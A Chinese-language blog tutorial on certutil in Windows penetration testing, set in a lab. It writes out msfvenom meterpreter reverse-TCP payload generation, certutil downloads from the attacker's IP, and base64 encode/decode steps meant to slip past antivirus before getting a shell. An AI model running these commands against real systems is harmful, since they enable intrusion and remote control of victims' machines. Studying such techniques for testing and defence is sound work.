利用certutil进行渗透测试


Certutil 是 Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,下载恶意文件和免杀。

下面将介绍它在 Windows 渗透测试中的作用。

certutil

Certutil 是一个 CLI 程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务, CA 组件的备份和还原以及验证证书、密钥对和证书链,它作为证书服务的一部分安装。

作为系统工具的它,为什么会成为一个攻击工具(后门)?

简单来说,就是 非恶意软件攻击,下面是具体的操作示例。

环境

  • 攻击者(kali 192.168.1.51)
  • 靶机(Windows10 192.168.1.63)

编码

Certutil 包含一个编码参数(编码)。这有助于在 Base64 中编码文件的内容。这是在 Windows 中等效于 Linux 中的 base64 命令。

不能打开 .exe 可执行文件时,可以使用 certutil 对可执行文件进行编码。然后传输编码后的数据,然后在接收机上对其进行解码。

首先创建一个名为 file.txt 的文本文件,输入一些内容,打开 PowerShell。

参数-encodehex 将数据转换为十六进制编码的文件。

解码

Certutil 可以解码 Base64 编码的数据。使用 certutil 和参数 -decode。

参数 -decodehex 解码十六进制编码的文件。

散列

获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如 MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和是用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。

命令 certutil -hashfile 生成指定哈希值。

注意:哈希算法区分大小写,MD5。

下载

certutil 还可用于从互联网下载文件。

certutil.exe -urlcache -split -f http://example.com/a.txt

系统错误代码

Certutil 可以帮助你找到系统错误代码的消息文本,查看系统错误代码的含义。

使用Certutil进行渗透测试

提交恶意可执行文件

前面提到,Certutil 可在未经任何验证或评估的情况下主动从 Internet 下载文件。

Certutil 可用于将文件从一个系统复制到另一个系统,以在攻击过程中横向移动一些攻击工具或其他文件。

使用 msfvenom工具生成一个有效payload,用于与攻击机器进行反向 TCP 连接。有效payload的格式设置为exe。执行成功后,payload 将在 root 目录中创建文件。

使用由 Python One-liner 生成的 HTTP Server 传输可执行文件。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f exe > shell.exe

python -m SimpleHTTPServer 80

有效payload已托管在服务器上,在靶机(受害者)上执行有效payload之前,我们需要在攻击计算机上启动监听,以捕获执行有效payload后生成的会话。

成功启动攻击者的侦听器之后,进入靶机。在这里,我们有一个 PowerShell 终端。我们需要将有效payload下载到这台机器上。使用 certutil 来查找它。Certutil 将使用两个不同的用户代理建立到远程 Web 服务器的两个连接。

有效payload成功传输到靶机之后。如图所示,执行有效payload。

回到攻击机器,查看我们的侦听器生成并捕获的 meterpreter 的实例。运行 sysinfo 查看系统的详细信息。

成功使用了 Certutil 和恶意可执行文件来 Getshell。

提交恶意 DLL 编码

Certutil 可对文件进行进行base64 编码,攻击者可以使用经过混淆的文件来隐藏扫描攻击的证据。然后再解码这些文件。这就是 certutil 发挥作用的地方。可以解码数据并避免杀毒软件察觉。Certutil 还可以用于解码已隐藏在证书文件中的可移植可执行文件。

有效载荷可以被编码或加密,以避免被检测。

还是使用 msfvenom 工具为与攻击机器的反向TCP连接生成有效payload。有效payload的格式在动态链接库文件 .dll 中设置。命名为 dll.txt。成功执行后,将在 root 目录中创建文件。现在,要传输该文件,我们可以使用 Python One-liner 生成的 HTTP Server。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f dll > dll.txt
python -m SimpleHTTPServer 80

有效payload已托管在服务器上,在靶机上执行有效payload之前,我们需要在攻击计算机上启动监听,以捕获在有效payload执行后将生成的会话。

未找到图片:https://pic3.zhimg.com/80/v2-1249881d9bdd45b8f9644d8fc976b162_720w.jpg

成功启动攻击者的监听之后再进入靶机。打开 PowerShell 终端。我们需要将有效payload下载到这台机器上,并且必须谨慎进行。执行命令:

certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt

文件被下载为文本文件,被编码为另一个文件。

现在要执行有效载荷以损害受害者,我们必须对其进行解码。使用 -decode 参数解码有效payload并将其保存为 exploit.dll(杀毒软件不会察觉)。然后运行此 DLL。

回到攻击机器,以查看生成并捕获的 meterpreter 的实例。运行 sysinfo 查看系统信息。

成功使用 Certutil 和恶意exe文件进行 Getshell。


文章作者: sfc9982
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC-ND 4.0 许可协议。转载请注明来源 sfc9982 !
  目录